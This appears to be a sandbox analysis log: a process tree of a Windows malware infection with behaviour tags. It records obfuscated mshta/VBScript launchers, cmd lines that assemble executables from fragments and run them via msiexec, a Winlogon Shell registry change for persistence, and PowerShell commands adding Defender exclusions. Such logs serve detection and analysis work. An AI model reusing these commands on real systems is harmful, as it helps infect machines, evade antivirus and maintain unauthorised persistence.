"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
8⤵
PID:2264

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
9⤵
PID:1936

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
10⤵
PID:6188

C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
11⤵
PID:7048

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
12⤵
PID:6948

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
13⤵
PID:2412

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
12⤵
PID:7972

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
13⤵
PID:1132

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
14⤵
PID:3920

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHo "
14⤵
PID:4884

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
14⤵
PID:6904

C:\Windows\SysWOW64\msiexec.exe
msiexec -Y ..\lXQ2g.WC
14⤵
- Loads dropped DLL
PID:4760

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "search_hyperfs_206.exe"
11⤵
- Kills process with taskkill
PID:1296

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
8⤵
PID:2404

C:\Users\Admin\AppData\Local\Temp\is-MKD65.tmp\setup.tmp
"C:\Users\Admin\AppData\Local\Temp\is-MKD65.tmp\setup.tmp" /SL5="$30404,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
9⤵
PID:1104

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
10⤵
PID:6192

C:\Users\Admin\AppData\Local\Temp\is-V5EQD.tmp\setup.tmp
"C:\Users\Admin\AppData\Local\Temp\is-V5EQD.tmp\setup.tmp" /SL5="$40346,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
11⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2852

C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
"C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
12⤵
PID:7224

C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
"C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
12⤵
PID:7316

C:\2a2e28abd626a64e0b8fc6\Setup.exe
C:\2a2e28abd626a64e0b8fc6\\Setup.exe /q /norestart /x86 /x64 /web
13⤵
- Loads dropped DLL
PID:7348

C:\Users\Admin\AppData\Local\Temp\is-TK7IG.tmp\postback.exe
"C:\Users\Admin\AppData\Local\Temp\is-TK7IG.tmp\postback.exe" ss1
12⤵
PID:6588

C:\Users\Admin\AppData\Local\Temp\askinstall25.exe
"C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"
8⤵
PID:3136

C:\Users\Admin\AppData\Local\Temp\inst1.exe
"C:\Users\Admin\AppData\Local\Temp\inst1.exe"
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:5644

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
8⤵
- Executes dropped EXE
PID:5404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5404 -s 228
9⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6208

C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
8⤵
- Loads dropped DLL
PID:5536

C:\Users\Admin\AppData\Local\Temp\chrome1.exe
"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
8⤵
PID:6632

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 6632 -s 2044
9⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5648

C:\Users\Admin\AppData\Local\Temp\chrome update.exe
"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
8⤵
PID:5108

C:\Users\Admin\AppData\Local\Temp\chrome2.exe
"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
8⤵
PID:3920

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3920 -s 1688
9⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3408

C:\Users\Admin\Pictures\Adobe Films\fXStM6cdEAEjvH7s1ab7Gaju.exe
"C:\Users\Admin\Pictures\Adobe Films\fXStM6cdEAEjvH7s1ab7Gaju.exe"
7⤵
PID:4584

C:\Users\Admin\Pictures\Adobe Films\fXStM6cdEAEjvH7s1ab7Gaju.exe
"C:\Users\Admin\Pictures\Adobe Films\fXStM6cdEAEjvH7s1ab7Gaju.exe"
8⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5948

C:\Users\Admin\Pictures\Adobe Films\YFe0Lgfa8TVHERVCczYzBDib.exe
"C:\Users\Admin\Pictures\Adobe Films\YFe0Lgfa8TVHERVCczYzBDib.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3680

C:\Users\Admin\Pictures\Adobe Films\SwxyeNJIl0r718bIrtPL8xPo.exe
"C:\Users\Admin\Pictures\Adobe Films\SwxyeNJIl0r718bIrtPL8xPo.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3788

C:\Users\Admin\Pictures\Adobe Films\SwxyeNJIl0r718bIrtPL8xPo.exe
"C:\Users\Admin\Pictures\Adobe Films\SwxyeNJIl0r718bIrtPL8xPo.exe"
8⤵
PID:6668

C:\Users\Admin\Pictures\Adobe Films\L9Sq6UTibaLuQEqBy00aF_GC.exe
"C:\Users\Admin\Pictures\Adobe Films\L9Sq6UTibaLuQEqBy00aF_GC.exe"
7⤵
- Executes dropped EXE
PID:4244

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4244 -s 228
8⤵
- Program crash
PID:3848

C:\Users\Admin\Pictures\Adobe Films\nsSFmLfzAtFoI3XRwcFqCAab.exe
"C:\Users\Admin\Pictures\Adobe Films\nsSFmLfzAtFoI3XRwcFqCAab.exe"
7⤵
- Executes dropped EXE
PID:5460

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\nsSFmLfzAtFoI3XRwcFqCAab.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\nsSFmLfzAtFoI3XRwcFqCAab.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
8⤵
PID:5988

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\nsSFmLfzAtFoI3XRwcFqCAab.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\nsSFmLfzAtFoI3XRwcFqCAab.exe" ) do taskkill -im "%~NxK" -F
9⤵
PID:6448

C:\Windows\SysWOW64\taskkill.exe
taskkill -im "nsSFmLfzAtFoI3XRwcFqCAab.exe" -F
10⤵
- Kills process with taskkill
PID:6196

C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
10⤵
PID:4488

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
11⤵
PID:3120

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
12⤵
PID:6692

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )
11⤵
PID:7964

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
12⤵
PID:4128

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
13⤵
PID:4428

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHO "
13⤵
PID:5980

C:\Windows\SysWOW64\msiexec.exe
msiexec.exe -y .\N3V4H8H.SXY
13⤵
- Loads dropped DLL
PID:7648

C:\Users\Admin\Pictures\Adobe Films\UMB_7E180Bv5mlU5mG71A18S.exe
"C:\Users\Admin\Pictures\Adobe Films\UMB_7E180Bv5mlU5mG71A18S.exe"
7⤵
- Loads dropped DLL
PID:6484

C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
8⤵
- Loads dropped DLL
PID:7484

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue196397c0f84f8.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:3720

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue196397c0f84f8.exe
Tue196397c0f84f8.exe
6⤵
PID:960

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue1968b7ee9058232e8.exe
5⤵
PID:3452

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue1968b7ee9058232e8.exe
Tue1968b7ee9058232e8.exe
6⤵
- Executes dropped EXE
PID:3788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3788 -s 300
7⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5412

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue19c28f648204dbd4.exe
5⤵
PID:3184

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19c28f648204dbd4.exe
Tue19c28f648204dbd4.exe
6⤵
- Executes dropped EXE
PID:2780

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue193e530416b51740a.exe
5⤵
PID:3624

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue193e530416b51740a.exe
Tue193e530416b51740a.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3280

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue193e530416b51740a.exe
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue193e530416b51740a.exe
7⤵
- Executes dropped EXE
PID:5204

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue1932df4dae.exe
5⤵
PID:4856

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue1932df4dae.exe
Tue1932df4dae.exe
6⤵
- Executes dropped EXE
PID:4568

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue1932df4dae.exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if """" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue1932df4dae.exe"" ) do taskkill -iM ""%~nXx"" /f " ,0 , TRuE ))
7⤵
PID:2280

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /q /C tYPe "C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue1932df4dae.exe" > ~Xy1GPomKV09sC.Exe &&stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if "" == "" for %x In ("C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue1932df4dae.exe") do taskkill -iM "%~nXx" /f
8⤵
- Executes dropped EXE
PID:960

C:\Users\Admin\AppData\Local\Temp\is-DSIKE.tmp\Tue196397c0f84f8.tmp
"C:\Users\Admin\AppData\Local\Temp\is-DSIKE.tmp\Tue196397c0f84f8.tmp" /SL5="$200A2,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue196397c0f84f8.exe"
9⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2808

C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe
~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ
9⤵
- Executes dropped EXE
PID:5272

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbscrIPt: CLOsE( crEATeObjEcT( "wsCRipt.SheLl" ). RUN ( "C:\Windows\system32\cmd.exe /q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" > ~Xy1GPomKV09sC.Exe && stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if ""-PyARgXd6fRp1GJRov7bdbpPssZBLJ "" == """" for %x In ( ""C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe"" ) do taskkill -iM ""%~nXx"" /f " ,0 , TRuE ))
10⤵
PID:5524

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /q /C tYPe "C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe" > ~Xy1GPomKV09sC.Exe &&stART ~Xy1gPomkV09sC.eXe -PyARgXd6fRp1GJRov7bdbpPssZBLJ &if "-PyARgXd6fRp1GJRov7bdbpPssZBLJ " == "" for %x In ("C:\Users\Admin\AppData\Local\Temp\~Xy1GPomKV09sC.Exe") do taskkill -iM "%~nXx" /f
11⤵
PID:5756

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBscrIpt: cLosE (cREatEObjEcT ( "wscript.sHeLl" ).Run ( "cMD.ExE /R ECHO | seT /P = ""MZ"" > F3U_R.J & CoPy /B /Y F3U_R.J+ RqC~~.A + TfSAy.w+ y5ULsw.L6+ AobbVRP.2Y + WvAi.2 BENCc.E & Start msiexec -Y .\bENCc.E " , 0 ,TruE ) )
10⤵
PID:4244

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R ECHO | seT /P = "MZ" >F3U_R.J & CoPy /B /Y F3U_R.J+ RqC~~.A + TfSAy.w+y5ULsw.L6+ AobbVRP.2Y + WvAi.2 BENCc.E &Start msiexec -Y .\bENCc.E
11⤵
PID:1380

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>F3U_R.J"
12⤵
- Suspicious use of AdjustPrivilegeToken
PID:5560

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" ECHO "
12⤵
PID:3968

C:\Windows\SysWOW64\msiexec.exe
msiexec -Y .\bENCc.E
12⤵
- Loads dropped DLL
PID:1436

C:\Windows\SysWOW64\taskkill.exe
taskkill -iM "Tue1932df4dae.exe" /f
9⤵
- Kills process with taskkill
PID:5560

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Tue19c9e031f4.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:4212

C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue19c9e031f4.exe
Tue19c9e031f4.exe
6⤵
- Executes dropped EXE
PID:2068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1584 -s 660
5⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4620

C:\Windows\SysWOW64\WWAHost.exe
"C:\Windows\SysWOW64\WWAHost.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:6460

C:\Windows\SysWOW64\cmd.exe
/c del "C:\Users\Admin\Pictures\Adobe Films\IzqSVV2MxS0q1xEXzN5eWDIl.exe"
3⤵
PID:4592

C:\Users\Admin\AppData\Local\Temp\1CC6.exe
C:\Users\Admin\AppData\Local\Temp\1CC6.exe
2⤵
- Suspicious use of SetThreadContext
PID:7784

C:\Users\Admin\AppData\Local\Temp\1CC6.exe
C:\Users\Admin\AppData\Local\Temp\1CC6.exe
3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6640

C:\Users\Admin\AppData\Local\Temp\8D54.exe
C:\Users\Admin\AppData\Local\Temp\8D54.exe
2⤵
PID:7644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7644 -s 232
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:484

C:\Users\Admin\AppData\Local\Temp\E47D.exe
C:\Users\Admin\AppData\Local\Temp\E47D.exe
2⤵
PID:4772

C:\Users\Admin\AppData\Local\Temp\39F.exe
C:\Users\Admin\AppData\Local\Temp\39F.exe
2⤵
PID:7248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7248 -s 276
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3100

C:\Users\Admin\AppData\Local\Temp\478F.exe
C:\Users\Admin\AppData\Local\Temp\478F.exe
2⤵
- Suspicious use of SetThreadContext
PID:4048

C:\Users\Admin\AppData\Local\Temp\478F.exe
C:\Users\Admin\AppData\Local\Temp\478F.exe
3⤵
PID:8096

C:\Users\Admin\AppData\Local\Temp\AAFD.exe
C:\Users\Admin\AppData\Local\Temp\AAFD.exe
2⤵
PID:6324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6324 -s 280
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2020

C:\Users\Admin\AppData\Local\Temp\EE7F.exe
C:\Users\Admin\AppData\Local\Temp\EE7F.exe
2⤵
PID:500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 500 -s 296
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7668

C:\Users\Admin\AppData\Local\Temp\2A31.exe
C:\Users\Admin\AppData\Local\Temp\2A31.exe
2⤵
PID:7660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7660 -s 276
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4416

C:\Users\Admin\AppData\Local\Temp\428D.exe
C:\Users\Admin\AppData\Local\Temp\428D.exe
2⤵
PID:5312

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com
3⤵
PID:5632

C:\Users\Admin\AppData\Local\Temp\89F7.exe
C:\Users\Admin\AppData\Local\Temp\89F7.exe
2⤵
PID:7652

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release
3⤵
PID:1504

C:\Windows\SysWOW64\ipconfig.exe
"C:\Windows\system32\ipconfig.exe" /release
4⤵
- Gathers network information
PID:1940

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
3⤵
PID:6960

C:\Windows\SysWOW64\PING.EXE
"C:\Windows\system32\PING.EXE" twitter.com
4⤵
- Runs ping.exe
PID:864

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com
3⤵
PID:7804

C:\Users\Admin\AppData\Local\Temp\9D51.exe
C:\Users\Admin\AppData\Local\Temp\9D51.exe
2⤵
PID:6932

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
3⤵
PID:4260

C:\Windows\SysWOW64\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"
4⤵
- Modifies WinLogon for persistence
PID:7272

C:\Users\Admin\AppData\Local\chromedrlver.exe
"C:\Users\Admin\AppData\Local\chromedrlver.exe"
3⤵
PID:6272

C:\Users\Admin\AppData\Local\Temp\BA11.exe
C:\Users\Admin\AppData\Local\Temp\BA11.exe
2⤵
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- System policy modification
PID:1744

C:\Users\Admin\AppData\Local\Temp\19dcf184-0398-4f8e-a323-d48bacb955b4\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\19dcf184-0398-4f8e-a323-d48bacb955b4\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\19dcf184-0398-4f8e-a323-d48bacb955b4\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
3⤵
PID:6644

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\19dcf184-0398-4f8e-a323-d48bacb955b4\test.bat"
4⤵
PID:1500

C:\Users\Admin\AppData\Local\Temp\0b337dd4-933b-4e2a-8d64-5fc7d0da3f50\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\0b337dd4-933b-4e2a-8d64-5fc7d0da3f50\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\0b337dd4-933b-4e2a-8d64-5fc7d0da3f50\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
3⤵
PID:7712

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\0b337dd4-933b-4e2a-8d64-5fc7d0da3f50\test.bat"
4⤵
PID:4320

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\BA11.exe" -Force
3⤵
PID:2032

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\BA11.exe" -Force
3⤵
PID:2188

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
3⤵
PID:7240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force
3⤵
PID:6036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\BA11.exe" -Force
3⤵
PID:6340

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"
3⤵
- Adds Run key to start application
- Checks whether UAC is enabled
- System policy modification
PID:7064

C:\Users\Admin\AppData\Local\Temp\b783f80a-c992-4fbc-aff3-f1d94c7f02f5\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\b783f80a-c992-4fbc-aff3-f1d94c7f02f5\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\b783f80a-c992-4fbc-aff3-f1d94c7f02f5\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
4⤵
PID:6168

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b783f80a-c992-4fbc-aff3-f1d94c7f02f5\test.bat"
5⤵
PID:7232

C:\Users\Admin\AppData\Local\Temp\e3515e2c-a157-406e-923b-876a92c20281\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\e3515e2c-a157-406e-923b-876a92c20281\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e3515e2c-a157-406e-923b-876a92c20281\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
